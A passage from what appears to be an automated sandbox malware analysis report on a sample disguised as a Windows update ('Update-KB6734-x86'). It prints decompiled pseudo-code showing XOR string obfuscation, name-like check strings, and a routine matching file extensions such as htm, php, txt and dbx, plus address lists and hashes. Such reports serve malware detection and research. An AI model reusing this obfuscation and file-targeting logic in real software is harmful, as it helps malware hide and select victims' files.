					 *((char*)(_t801 + _t793 + 0xdc)) = _t684;
					_t793 = _t793 - 1;
				} while (_t599 < _t793);
				_a368 = _a168 ^ 0x00000099;
				_a369 = _a169 ^ 0x0000000f;
				_a370 = _a170 ^ 0x00000091;
				_a371 = _a171 ^ 0x00000026;
				_push(6);
				_a372 = _a172 ^ 0x00000078;
				_push( &_a336);
				_t362 =  &_a168; // 0x66
				 *0x431c89 = 0x19;
				_a373 = _a173 ^ 0x00000061;
				_a336 = __ebx;
				_a337 = 0xc3;
				_a338 = 0x49;
				_a339 = 0x83;
				_a340 = 0xfc;
				_a341 = 0x33;
				_a168 = 0x75;
				_a169 = 0x1e;
				_a170 = 0x7f;
				_a171 = 0xd;
				_a172 = 0x68;
				_a173 = 6;
				_t782 = E0040D980(_t362);
				_a248 = 0x62;
				_a249 = 0x65;
				_a250 = 0x74;
				_a251 = 0x74;
				_a252 = 0x79;
				_a253 = __ebx;
				_a256 = 0x68;
				_a257 = 0x65;
				_a258 = 0x6c;
				_a259 = 0x65;
				_a260 = 0x6e;
				_a261 = __ebx;
				_a184 = 0x73;
				_a185 = 0x61;
				_a186 = 0x6e;
				_a187 = 0x64;
				_a188 = 0x72;
				_a189 = 0x61;
				_a190 = __ebx;
				_a160 = 8;
				_a161 = 0xf;
				_a162 = 0x6d;
				_a163 = 0xa3;
				_a164 = 0x9f;
				_a165 = 0x98;
				_t690 = 0;
				_t794 = 5;
				do {
					_t606 =  *((intOrPtr*)(_t801 + _t690 + 0xdc));
					 *((char*)(_t801 + _t690 + 0xdc)) =  *((intOrPtr*)(_t801 + _t794 + 0xdc));
					_t690 = _t690 + 1;
					 *((char*)(_t801 + _t794 + 0xdc)) = _t606;
					_t794 = _t794 - 1;
				} while (_t690 < _t794);
				_a273 = _a161 ^ 0x000000f0;
				_a272 = _a160 ^ 0x000000dc;
				_a274 = _a162 ^ 0x000000cd;
				_a276 = _a164 ^ 0x0000006e;
				_a275 = _a163 ^ 0x00000003;
				_a277 = _a165 ^ 0x00000008;
				_a168 = 0x63;
				_a169 = 0x61;
				_a170 = 0x72;
				_a171 = 0x6f;
				_a172 = 0x6c;
				_a173 = __ebx;
				_a176 = 0xee;
				_a177 = 0x5b;
				_a178 = 0xc5;
				_a179 = 0x99;
				_a180 = 0x2f;
				_t695 = 0;
				_t795 = 4;
				do {
					_t611 =  *((intOrPtr*)(_t801 + _t695 + 0xec));
					 *((char*)(_t801 + _t695 + 0xec)) =  *((intOrPtr*)(_t801 + _t795 + 0xec));
					_t695 = _t695 + 1;
					 *((char*)(_t801 + _t795 + 0xec)) = _t611;
					_t795 = _t795 - 1;
				} while (_t695 < _t795);
				_a160 = _a176 ^ 0x0000005d;
				_a161 = _a177 ^ 0x000000ec;
				_a162 = _a178 ^ 0x000000b1;
				_a163 = _a179 ^ 0x00000033;
				_a164 = _a180 ^ 0x000000ee;
				_a4 = _v8;
				_v0 =  &_a200;
				_a8 =  &_a240;
				_a12 =  &_a264;
				_a16 =  &_a376;
				_a20 =  &_v32;
				_a24 =  &_a224;
				_a36 = _v4;
				_a28 =  &_a280;
				_a32 =  &_a320;
				_a40 = _v16;
				_a48 = _v12;
				_a44 =  &_a392;
				_a52 =  &_a296;
				_a56 =  &_a400;
				_a60 =  &_a336;
				_a64 = _v20;
				_a68 =  &_v24;
				_a72 =  &_a192;
				_a76 = _v44;
				_a80 =  &_a216;
				_a84 =  &_a408;
				_t494 =  &_a432; // 0x64
				_a88 = _t494;
				_a92 =  &_a312;
				_a96 =  &_a232;
				_a100 =  &_a352;
				 *0x431c89 = 0x19;
				_a176 = 0x73;
				_a177 = 0x68;
				_a178 = 0x61;
				_a179 = 0x72;
				_a180 = 0x6f;
				_a181 = 0x6e;
				_a182 = __ebx;
				_a104 = _t799;
				_a108 =  &_a368;
				_a112 =  &_a416;
				_t514 =  &_a208; // 0x6c
				_a116 = _t514;
				_t518 =  &_a256; // 0x68
				_a120 =  &_a360;
				_a128 =  &_a248;
				_a132 = _t518;
				_a136 =  &_a184;
				_a140 =  &_a272;
				_a144 =  &_a168;
				_t530 =  &_a304; // 0x72
				_a124 = _t782;
				_a148 =  &_a160;
				_a152 =  &_a176;
				_a156 = _t530;
				_t629 = E0040C1D0( &_a176);
				_t796 =  *((intOrPtr*)(_t801 + 0x38 + _t629 % 0x28 * 4));
				_t631 =  *((intOrPtr*)(_t801 + 0x38 + _t629 % 0x28 * 4));
				_t783 = _t631 + 1;
				do {
					_t713 =  *_t631;
					_t631 = _t631 + 1;
				} while (_t713 != __ebx);
				return E00424873(E004028A0(_a448, _t796, _t631 - _t783), _a432);
			}

0x0040de56
0x0040de56
0x0040de60
0x0040de67
0x0040de6e
0x0040de75
0x0040de76
0x0040de7d
0x0040de7e
0x0040de9c
0x0040deaa
0x0040debd
0x0040dece
0x0040ded5
0x0040dedb
0x0040dee5
0x0040deea
0x0040def1
0x0040def8
0x0040defd
0x0040df02
0x0040df07
0x0040df0c
0x0040df11
0x0040df16
0x0040df1b
0x0040df20
0x0040df25
0x0040df2e
0x0040df36
0x0040df3a
0x0040df42
0x0040df4a
0x0040df52
0x0040df5a
0x0040df62
0x0040df6a
0x0040df72
0x0040df7a
0x0040df82
0x0040df8a
0x0040df92
0x0040df9f
0x0040dfa3
0x0040dfab
0x0040dfb3
0x0040dfbb
0x0040dfc3
0x0040dfcb
0x0040dfd3
0x0040dfdb
0x0040dfdd
0x0040dfe2
0x0040dfe9
0x0040dff0
0x0040dff7
0x0040dff8
0x0040dfff
0x0040e000
0x0040e01e
0x0040e02c
0x0040e042
0x0040e050
0x0040e05e
0x0040e065
0x0040e073
0x0040e07b
0x0040e082
0x0040e089
0x0040e090
0x0040e098
0x0040e0a0
0x0040e0a8
0x0040e0b0
0x0040e0b8
0x0040e0c0
0x0040e0c8
0x0040e0d0
0x0040e0d8
0x0040e0e0
0x0040e0e8
0x0040e0f0
0x0040e0f8
0x0040e100
0x0040e108
0x0040e115
0x0040e119
0x0040e121
0x0040e129
0x0040e131
0x0040e139
0x0040e141
0x0040e149
0x0040e14b
0x0040e150
0x0040e157
0x0040e15e
0x0040e165
0x0040e166
0x0040e16d
0x0040e16e
0x0040e18f
0x0040e19d
0x0040e1ab
0x0040e1c1
0x0040e1c8
0x0040e1cf
0x0040e1d6
0x0040e1de
0x0040e1e6
0x0040e1ee
0x0040e1f6
0x0040e1fe
0x0040e206
0x0040e20d
0x0040e215
0x0040e21d
0x0040e225
0x0040e22d
0x0040e235
0x0040e23d
0x0040e23f
0x0040e250
0x0040e257
0x0040e25e
0x0040e265
0x0040e266
0x0040e26d
0x0040e26e
0x0040e28c
0x0040e29a
0x0040e2ad
0x0040e2be
0x0040e2c5
0x0040e2cb
0x0040e2d5
0x0040e2da
0x0040e2e1
0x0040e2e8
0x0040e2ed
0x0040e2f2
0x0040e2f7
0x0040e2fc
0x0040e301
0x0040e306
0x0040e30b
0x0040e315
0x0040e319
0x0040e31e
0x0040e323
0x0040e328
0x0040e32d
0x0040e32f
0x0040e334
0x0040e338
0x0040e33c
0x0040e340
0x0040e341
0x0040e345
0x0040e346
0x0040e35b
0x0040e363
0x0040e367
0x0040e375
0x0040e376
0x0040e37d
0x0040e381
0x0040e388
0x0040e38c
0x0040e394
0x0040e39c
0x0040e3a4
0x0040e3ac
0x0040e3b3
0x0040e3bb
0x0040e3c3
0x0040e3cb
0x0040e3d3
0x0040e3db
0x0040e3e3
0x0040e3eb
0x0040e3f3
0x0040e3fb
0x0040e403
0x0040e40b
0x0040e418
0x0040e41c
0x0040e424
0x0040e42c
0x0040e434
0x0040e43c
0x0040e443
0x0040e44b
0x0040e453
0x0040e45b
0x0040e463
0x0040e46b
0x0040e473
0x0040e47b
0x0040e47d
0x0040e482
0x0040e482
0x0040e489
0x0040e490
0x0040e497
0x0040e498
0x0040e49f
0x0040e4a0
0x0040e4a4
0x0040e4bb
0x0040e4d1
0x0040e4df
0x0040e4ed
0x0040e503
0x0040e50a
0x0040e511
0x0040e518
0x0040e520
0x0040e528
0x0040e530
0x0040e538
0x0040e540
0x0040e548
0x0040e550
0x0040e557
0x0040e55f
0x0040e567
0x0040e56f
0x0040e577
0x0040e57f
0x0040e587
0x0040e589
0x0040e590
0x0040e597
0x0040e59e
0x0040e5a5
0x0040e5a6
0x0040e5ad
0x0040e5ae
0x0040e5c0
0x0040e5c9
0x0040e5d0
0x0040e5df
0x0040e5e6
0x0040e5ed
0x0040e5fb
0x0040e60a
0x0040e611
0x0040e618
0x0040e61f
0x0040e626
0x0040e62e
0x0040e636
0x0040e63e
0x0040e646
0x0040e64d
0x0040e655
0x0040e65d
0x0040e665
0x0040e66d
0x0040e66f
0x0040e680
0x0040e687
0x0040e68e
0x0040e695
0x0040e696
0x0040e69d
0x0040e69e
0x0040e6bc
0x0040e6ca
0x0040e6de
0x0040e6ef
0x0040e6f6
0x0040e6ff
0x0040e709
0x0040e711
0x0040e718
0x0040e71f
0x0040e727
0x0040e72f
0x0040e737
0x0040e73f
0x0040e747
0x0040e74f
0x0040e757
0x0040e75f
0x0040e767
0x0040e76f
0x0040e777
0x0040e784
0x0040e786
0x0040e78e
0x0040e796
0x0040e79e
0x0040e7a6
0x0040e7ae
0x0040e7b5
0x0040e7bd
0x0040e7c5
0x0040e7cd
0x0040e7d5
0x0040e7dd
0x0040e7e5
0x0040e7ec
0x0040e7f4
0x0040e7fc
0x0040e804
0x0040e80c
0x0040e813
0x0040e81b
0x0040e823
0x0040e82b
0x0040e833
0x0040e83b
0x0040e843
0x0040e845
0x0040e850
0x0040e857
0x0040e85e
0x0040e865
0x0040e866
0x0040e86d
0x0040e86e
0x0040e88c
0x0040e89a
0x0040e8ad
0x0040e8be
0x0040e8c5
0x0040e8ce
0x0040e8d8
0x0040e8d9
0x0040e8e0
0x0040e8e7
0x0040e8ee
0x0040e8f5
0x0040e8fd
0x0040e905
0x0040e90d
0x0040e915
0x0040e91d
0x0040e925
0x0040e92d
0x0040e935
0x0040e93d
0x0040e945
0x0040e952
0x0040e954
0x0040e95c
0x0040e964
0x0040e96c
0x0040e974
0x0040e97c
0x0040e983
0x0040e98b
0x0040e993
0x0040e99b
0x0040e9a3
0x0040e9ab
0x0040e9b2
0x0040e9ba
0x0040e9c2
0x0040e9ca
0x0040e9d2
0x0040e9da
0x0040e9e2
0x0040e9e9
0x0040e9f1
0x0040e9f9
0x0040ea01
0x0040ea09
0x0040ea11
0x0040ea19
0x0040ea1b
0x0040ea20
0x0040ea27
0x0040ea2e
0x0040ea35
0x0040ea36
0x0040ea3d
0x0040ea3e
0x0040ea5f
0x0040ea6d
0x0040ea7b
0x0040ea91
0x0040ea98
0x0040ea9f
0x0040eaa6
0x0040eaae
0x0040eab6
0x0040eabe
0x0040eac6
0x0040eace
0x0040ead5
0x0040eadd
0x0040eae5
0x0040eaed
0x0040eaf5
0x0040eafd
0x0040eaff
0x0040eb10
0x0040eb17
0x0040eb1e
0x0040eb25
0x0040eb26
0x0040eb2d
0x0040eb2e
0x0040eb4c
0x0040eb5d
0x0040eb6d
0x0040eb77
0x0040eb82
0x0040eb89
0x0040eb94
0x0040eb9f
0x0040ebaa
0x0040ebb5
0x0040ebbd
0x0040ebc8
0x0040ebd0
0x0040ebdf
0x0040ebee
0x0040ebf2
0x0040ebf6
0x0040ec01
0x0040ec0c
0x0040ec1b
0x0040ec26
0x0040ec2a
0x0040ec3d
0x0040ec44
0x0040ec4b
0x0040ec60
0x0040ec67
0x0040ec6e
0x0040ec83
0x0040ec91
0x0040ec98
0x0040ecad
0x0040ecb4
0x0040ecbb
0x0040ecc3
0x0040eccb
0x0040ecd3
0x0040ecdb
0x0040ece3
0x0040eceb
0x0040ecf2
0x0040ecf9
0x0040ed00
0x0040ed07
0x0040ed0e
0x0040ed23
0x0040ed2a
0x0040ed31
0x0040ed38
0x0040ed54
0x0040ed5b
0x0040ed62
0x0040ed77
0x0040ed7e
0x0040ed85
0x0040ed8c
0x0040ed93
0x0040ed9a
0x0040eda9
0x0040edad
0x0040edaf
0x0040edb2
0x0040edb2
0x0040edb4
0x0040edb5
0x0040edde

Strings

a, xrefs: 0040E62E
3, xrefs: 0040E915
q, xrefs: 0040E557
a, xrefs: 0040E7BD
r, xrefs: 0040EAB6
g, xrefs: 0040E73F
j, xrefs: 0040E55F
e, xrefs: 0040E63E
n, xrefs: 0040E3A4
@, xrefs: 0040DF62
n, xrefs: 0040E9A3
x$], xrefs: 0040E376
s, xrefs: 0040E7B5
a, xrefs: 0040E434
t, xrefs: 0040E964
dualc, xrefs: 0040EC6E
n, xrefs: 0040ECE3
s, xrefs: 0040E9B2
A, xrefs: 0040E306
n, xrefs: 0040E1FE
O, xrefs: 0040E3DB
lmada, xrefs: 0040ED07
s, xrefs: 0040ECBB
e, xrefs: 0040E99B
r, xrefs: 0040E7D5
n, xrefs: 0040E796
c, xrefs: 0040E518
o, xrefs: 0040ECDB
j, xrefs: 0040E626
y, xrefs: 0040E1E6
f, xrefs: 0040E2F7
l, xrefs: 0040EAC6
r, xrefs: 0040ECD3
n, xrefs: 0040E42C
W, xrefs: 0040E141
e, xrefs: 0040E95C
o, xrefs: 0040E394
rebyc, xrefs: 0040ED77
a, xrefs: 0040E7DD
n, xrefs: 0040E424
a, xrefs: 0040E528
,, xrefs: 0040E3CB
h, xrefs: 0040E39C
s, xrefs: 0040E108
i, xrefs: 0040E78E
S, xrefs: 0040E71F
n, xrefs: 0040E9C2
a, xrefs: 0040E9BA
j, xrefs: 0040E38C
fna, xrefs: 0040E8D9
t, xrefs: 0040E96C
<, xrefs: 0040E777
o, xrefs: 0040E1F6
(, xrefs: 0040E301
B, xrefs: 0040E2FC
n, xrefs: 0040E7C5
C, xrefs: 0040E747
!, xrefs: 0040E3FB
o, xrefs: 0040E3BB
r, xrefs: 0040E9D2
a, xrefs: 0040E9DA
l, xrefs: 0040E0E8
l, xrefs: 0040E786
m, xrefs: 0040E9F9
Ljq, xrefs: 0040E5C0
a, xrefs: 0040EAAE
d, xrefs: 0040E7CD
I, xrefs: 0040E8FD
c, xrefs: 0040EAA6
A, xrefs: 0040DF4A
6, xrefs: 0040E3C3
y, xrefs: 0040E974
s, xrefs: 0040E328
d, xrefs: 0040E79E
b, xrefs: 0040E954
j, xrefs: 0040DEFD
s, xrefs: 0040E1EE
o, xrefs: 0040EABE
N, xrefs: 0040DF5A
d, xrefs: 0040E9CA
hyb, xrefs: 0040ED23
!, xrefs: 0040E323
a, xrefs: 0040E7A6
h, xrefs: 0040ECC3
l, xrefs: 0040E520
a, xrefs: 0040ECCB
u, xrefs: 0040E530
e, xrefs: 0040E0F8
W, xrefs: 0040DF3A
,, xrefs: 0040E30B
n, xrefs: 0040E636

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID:
String ID: !$!$($,$,$3$6$<$@$A$A$B$C$I$Ljq$N$O$S$W$W$a$a$a$a$a$a$a$a$a$a$b$c$c$d$d$d$dualc$e$e$e$e$f$fna$g$h$h$hyb$i$j$j$j$j$l$l$l$l$lmada$m$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$q$r$r$r$r$rebyc$s$s$s$s$s$s$t$t$u$x$]$y$y
API String ID: 0-1246891121
Opcode ID: 43c16ada332a8dd709468707ff4d6f0fce7f85d4f85c0fd8587031f39c8da794
Instruction ID: a28a096e937e9de4dcdb39462e473e9428d52a79a1e09a05438f9163ff59b36a
Opcode Fuzzy Hash: 43c16ada332a8dd709468707ff4d6f0fce7f85d4f85c0fd8587031f39c8da794
Instruction Fuzzy Hash: 0192C02400D7C18AE332CB7894547DFFFD15BA6318F489E9EC4ED6A292C6B60149CB67

Uniqueness

Uniqueness Score: -1.00%

Function 00405310, Relevance: 110.6, APIs: 2, Strings: 61, Instructions: 376
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00405310(void* __ebx, void* __edi, void* __esi, void* __ebp, intOrPtr _a4) {
				intOrPtr _v4;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				intOrPtr _v32;
				char* _v36;
				char* _v40;
				signed int* _v44;
				char* _v48;
				signed char* _v52;
				char* _v56;
				intOrPtr _v60;
				char* _v64;
				char* _v68;
				char* _v72;
				char* _v76;
				char* _v80;
				intOrPtr _v84;
				char* _v88;
				signed char* _v92;
				char* _v96;
				signed char* _v100;
				signed char* _v104;
				char* _v108;
				char* _v112;
				char* _v116;
				signed char* _v120;
				char* _v124;
				char* _v128;
				char* _v132;
				intOrPtr _v136;
				char* _v140;
				char* _v144;
				intOrPtr _v148;
				signed char _v149;
				signed char _v150;
				signed char _v151;
				signed char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				signed char _v165;
				signed char _v166;
				signed char _v167;
				signed char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				signed char _v173;
				signed char _v174;
				signed char _v175;
				signed char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				signed char _v201;
				signed char _v202;
				signed char _v203;
				signed char _v204;
				signed char _v205;
				signed char _v206;
				signed char _v207;
				signed char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				signed int _v253;
				signed int _v254;
				signed int _v255;
				signed int _v256;
				intOrPtr _t286;
				intOrPtr _t289;
				void* _t290;
				void* _t296;
				void* _t301;
				void* _t306;
				intOrPtr _t311;
				intOrPtr _t312;
				char _t313;
				void* _t328;
				signed int _t335;
				char _t337;
				char _t340;
				char _t343;
				char _t346;
				void* _t352;
				intOrPtr _t395;
				char _t398;
				char _t399;
				char _t400;
				char _t401;
				char _t402;
				void* _t403;
				CHAR* _t404;
				intOrPtr _t406;
				signed int* _t409;
				signed int* _t410;
				signed int* _t411;

				_t286 =  *0x4310d8; // 0xa9302559
				_v4 = _t286;
				_v184 = 0x61;
				_v232 = 0x61;
				_t335 = 0;
				_push(4);
				_push( &_v192);
				_v183 = 0x64;
				_v182 = 0x62;
				_v181 = 0;
				_v231 = 0x73;
				_v230 = 0x70;
				_v229 = 0;
				_v192 = 0xd3;
				_v191 = 0xda;
				_v190 = 0x3e;
				_v189 = 0x24;
				_v256 = 0x27;
				_v255 = 0x44;
				_v254 = 0x22;
				_v253 = 0x45;
				_t289 = E00405290( &_v256);
				_t409 =  &(( &_v256)[2]);
				_v148 = _t289;
				_v164 = 0x63;
				_v163 = 0x67;
				_v162 = 0x69;
				_v161 = 0;
				_v224 = 0x64;
				_v223 = 0x62;
				_v222 = 0x78;
				_v221 = 0;
				_v12 = 0x64;
				_v11 = 0x68;
				_v10 = 0x74;
				_v9 = 0x6d;
				_v8 = 0;
				_v256 = 0xfd;
				_v255 = 0x3e;
				_v254 = 0x99;
				_v253 = 0xb2;
				_t290 = 0;
				_t398 = 3;
				do {
					_t337 =  *((intOrPtr*)(_t409 + _t290 + 0xc));
					 *((char*)(_t409 + _t290 + 0xc)) =  *((intOrPtr*)(_t409 + _t398 + 0xc));
					_t290 = _t290 + 1;
					 *((char*)(_t409 + _t398 + 0xc)) = _t337;
					_t398 = _t398 - 1;
				} while (_t290 < _t398);
				_v176 = _v256 ^ 0x000000d7;
				_v173 = _v253 ^ 0x000000fd;
				_v160 = 0x6a;
				_v254 = 0x6a;
				_v175 = _v255 ^ 0x000000f4;
				_v174 = _v254 ^ 0x00000052;
				_v216 = 0x68;
				_v215 = 0x74;
				_v214 = 0x6d;
				_v213 = 0;
				_v28 = 0x68;
				_v27 = 0x74;
				_v26 = 0x6d;
				_v25 = 0x6c;
				_v24 = 0;
				_v159 = 0x73;
				_v158 = 0x70;
				_v157 = 0;
				_v256 = 2;
				_v255 = 0x1e;
				_v253 = 0xb7;
				_t296 = 0;
				_t399 = 3;
				do {
					_t340 =  *((intOrPtr*)(_t409 + _t296 + 0xc));
					 *((char*)(_t409 + _t296 + 0xc)) =  *((intOrPtr*)(_t409 + _t399 + 0xc));
					_t296 = _t296 + 1;
					 *((char*)(_t409 + _t399 + 0xc)) = _t340;
					_t399 = _t399 - 1;
				} while (_t296 < _t399);
				_v208 = _v256 ^ 0x000000da;
				_v205 = _v253 ^ 0x00000002;
				_v207 = _v255 ^ 0x00000008;
				_v206 = _v254 ^ 0x00000066;
				_v256 = 0xb7;
				_v255 = 0xc3;
				_v254 = 0x2a;
				_v253 = 0x74;
				_t301 = 0;
				_t400 = 3;
				do {
					_t343 =  *((intOrPtr*)(_t409 + _t301 + 0xc));
					 *((char*)(_t409 + _t301 + 0xc)) =  *((intOrPtr*)(_t409 + _t400 + 0xc));
					_t301 = _t301 + 1;
					 *((char*)(_t409 + _t400 + 0xc)) = _t343;
					_t400 = _t400 - 1;
				} while (_t301 < _t400);
				_v168 = _v256 ^ 0x00000019;
				_v165 = _v253 ^ 0x000000b7;
				_v167 = _v255 ^ 0x0000004e;
				_v166 = _v254 ^ 0x000000bb;
				_v200 = 0x6d;
				_v199 = 0x68;
				_v198 = 0x74;
				_v197 = 0;
				_v256 = 0x6f;
				_v255 = 0x93;
				_v254 = 0xc7;
				_v253 = 0xd;
				_t306 = 0;
				_t401 = 3;
				do {
					_t346 =  *((intOrPtr*)(_t409 + _t306 + 0xc));
					 *((char*)(_t409 + _t306 + 0xc)) =  *((intOrPtr*)(_t409 + _t401 + 0xc));
					_t306 = _t306 + 1;
					 *((char*)(_t409 + _t401 + 0xc)) = _t346;
					_t401 = _t401 - 1;
				} while (_t306 < _t401);
				_v152 = _v256 ^ 0x00000060;
				_v151 = _v255 ^ 0x000000aa;
				_push(4);
				_push( &_v156);
				_v150 = _v254 ^ 0x000000f5;
				 *0x431c84 = 6;
				_v149 = _v253 ^ 0x0000006f;
				_v252 = 0x6d;
				_v251 = 0x73;
				_v250 = 0x67;
				_v249 = 0;
				_v156 = 3;
				_v155 = 0xb6;
				_v154 = 0x9f;
				_v153 = 0x7a;
				_v256 = 0x76;
				_v255 = 0x18;
				_v254 = 0x7b;
				_v253 = 0x13;
				_t311 = E00405290( &_v256);
				_push(4);
				_push( &_v240);
				_t395 = _t311;
				_v248 = 0x6f;
				_v247 = 0x64;
				_v246 = 0x73;
				_v245 = 0;
				_v244 = 0x6f;
				_v243 = 0x66;
				_v242 = 0x74;
				_v241 = 0;
				_v236 = 0x74;
				_v235 = 0x62;
				_v234 = 0x62;
				_v233 = 0;
				_v228 = 0x74;
				_v227 = 0x78;
				_v226 = 0x74;
				_v225 = 0;
				_v220 = 0x75;
				_v219 = 0x69;
				_v218 = 0x6e;
				_v217 = 0;
				_v240 = 0xcf;
				_v239 = 8;
				_v238 = 0x17;
				_v237 = 4;
				_v256 = 5;
				_v255 = 0x72;
				_v254 = 0x13;
				_v253 = 0x71;
				_t312 = E00405290( &_v256);
				_t410 =  &(_t409[4]);
				_t406 = _t312;
				_v212 = 0x77;
				_v211 = 0x73;
				_v210 = 0x68;
				_v209 = 0;
				_v256 = 0xdc;
				_v255 = 0xab;
				_v254 = 0x74;
				_v253 = 0xac;
				_t352 = 0;
				_t402 = 3;
				do {
					_t313 =  *((intOrPtr*)(_t410 + _t352 + 0x10));
					 *((char*)(_t410 + _t352 + 0x10)) =  *((intOrPtr*)(_t410 + _t402 + 0x10));
					_t352 = _t352 + 1;
					 *((char*)(_t410 + _t402 + 0x10)) = _t313;
					_t402 = _t402 - 1;
				} while (_t352 < _t402);
				_v204 = _v256 ^ 0x000000d4;
				_v203 = _v255 ^ 0x00000019;
				_v202 = _v254 ^ 0x000000c7;
				_v201 = _v253 ^ 0x000000dc;
				_v136 = _v148;
				_v144 =  &_v184;
				_v140 =  &_v232;
				_v132 =  &_v164;
				_v128 =  &_v224;
				_v124 =  &_v12;
				_v120 =  &_v176;
				_v116 =  &_v216;
				_v112 =  &_v28;
				_v108 =  &_v160;
				_v104 =  &_v208;
				_v100 =  &_v168;
				_v96 =  &_v200;
				_v92 =  &_v152;
				_v88 =  &_v252;
				_v80 =  &_v248;
				_v76 =  &_v244;
				_v72 =  &_v236;
				 *0x431c84 = 6;
				_v196 = 0x70;
				_v195 = 0x68;
				_v194 = 0x70;
				_v193 = 0;
				_v256 = 0x70;
				_v255 = 0x6c;
				_v254 = 0;
				_v188 = 0x73;
				_v187 = 0x68;
				_v186 = 0x74;
				_v185 = 0;
				_v20 = 0x73;
				_v19 = 0x68;
				_v18 = 0x74;
				_v17 = 0x6d;
				_v16 = 0;
				_v180 = 0xc3;
				_v179 = 0x49;
				_v178 = 0xc5;
				_v177 = 0x38;
				_v172 = 0xef;
				_v171 = 0x9c;
				_v170 = 0xe8;
				_v169 = 0x85;
				_v84 = _t395;
				_v68 =  &_v228;
				_v64 =  &_v220;
				_v60 = _t406;
				_v56 =  &_v212;
				_v52 =  &_v204;
				_v44 =  &_v256;
				_v48 =  &_v196;
				_v40 =  &_v188;
				_push(4);
				_push( &_v180);
				_v36 =  &_v20;
				_v32 = E00405290( &_v172);
				_t328 = E00425420(_a4, _a4, 0x2e);
				_t411 =  &(_t410[4]);
				_t403 = _t328;
				if(_t403 == 0) {
					L14:
					return E00424873(0, _v4);
				} else {
					_t404 = _t403 + 1;
					while(lstrcmpiA(_t404,  *(_t411 + 0x7c + _t335 * 4)) != 0) {
						_t335 = _t335 + 1;
						if(_t335 < 0x1d) {
							continue;
						} else {
							goto L14;
						}
						goto L16;
					}
					return E00424873(1, _v4);
				}
				L16:
			}

0x00405316
0x0040531c
0x00405327
0x0040532b
0x00405333
0x00405335
0x00405337
0x0040533c
0x00405341
0x00405346
0x0040534a
0x0040534f
0x00405354
0x00405358
0x0040535d
0x00405362
0x00405367
0x0040536c
0x00405371
0x00405376
0x0040537b
0x00405380
0x00405385
0x00405388
0x0040538c
0x00405391
0x00405396
0x0040539b
0x0040539f
0x004053a4
0x004053a9
0x004053ae
0x004053b2
0x004053ba
0x004053c2
0x004053ca
0x004053d2
0x004053d9
0x004053de
0x004053e3
0x004053e8
0x004053ed
0x004053ef
0x004053f4
0x004053f8
0x004053fc
0x00405400
0x00405401
0x00405405
0x00405406
0x00405418
0x00405422
0x0040542e
0x00405432
0x00405436
0x0040543a
0x0040543e
0x00405443
0x00405448
0x0040544d
0x00405451
0x00405459
0x00405461
0x00405469
0x00405471
0x00405478
0x0040547d
0x00405482
0x00405486
0x0040548b
0x00405490
0x00405495
0x00405497
0x004054a0
0x004054a4
0x004054a8
0x004054ac
0x004054ad
0x004054b1
0x004054b2
0x004054c4
0x004054d4
0x004054d8
0x004054dc
0x004054e0
0x004054e5
0x004054ea
0x004054ef
0x004054f4
0x004054f6
0x00405500
0x00405504
0x00405508
0x0040550c
0x0040550d
0x00405511
0x00405512
0x00405524
0x00405534
0x00405538
0x0040553c
0x00405540
0x00405545
0x0040554a
0x0040554f
0x00405553
0x00405558
0x0040555d
0x00405562
0x00405567
0x00405569
0x00405570
0x00405574
0x00405578
0x0040557c
0x0040557d
0x00405581
0x00405582
0x00405598
0x004055a0
0x004055a8
0x004055af
0x004055b4
0x004055bb
0x004055c2
0x004055c9
0x004055ce
0x004055d3
0x004055d8
0x004055dc
0x004055e1
0x004055e6
0x004055eb
0x004055f0
0x004055f5
0x004055fa
0x004055ff
0x00405604
0x0040560d
0x0040560f
0x00405614
0x00405616
0x0040561b
0x00405620
0x00405625
0x00405629
0x0040562e
0x00405633
0x00405638
0x0040563c
0x00405641
0x00405646
0x0040564b
0x0040564f
0x00405654
0x00405659
0x0040565e
0x00405662
0x00405667
0x0040566c
0x00405671
0x00405675
0x0040567a
0x0040567f
0x00405684
0x00405689
0x0040568e
0x00405693
0x00405698
0x0040569d
0x004056a2
0x004056a5
0x004056a7
0x004056ac
0x004056b1
0x004056b6
0x004056ba
0x004056bf
0x004056c4
0x004056c9
0x004056ce
0x004056d0
0x004056e0
0x004056e4
0x004056e8
0x004056ec
0x004056ed
0x004056f1
0x004056f2
0x00405704
0x00405714
0x00405718
0x0040571c
0x00405724
0x0040572f
0x0040573a
0x00405745
0x00405750
0x0040575e
0x00405769
0x00405774
0x00405782
0x00405795
0x0040579c
0x004057a3
0x004057b6
0x004057bd
0x004057c4
0x004057d7
0x004057de
0x004057e5
0x004057f8
0x004057ff
0x00405804
0x00405809
0x0040580e
0x00405812
0x00405817
0x0040581c
0x00405820
0x00405825
0x0040582a
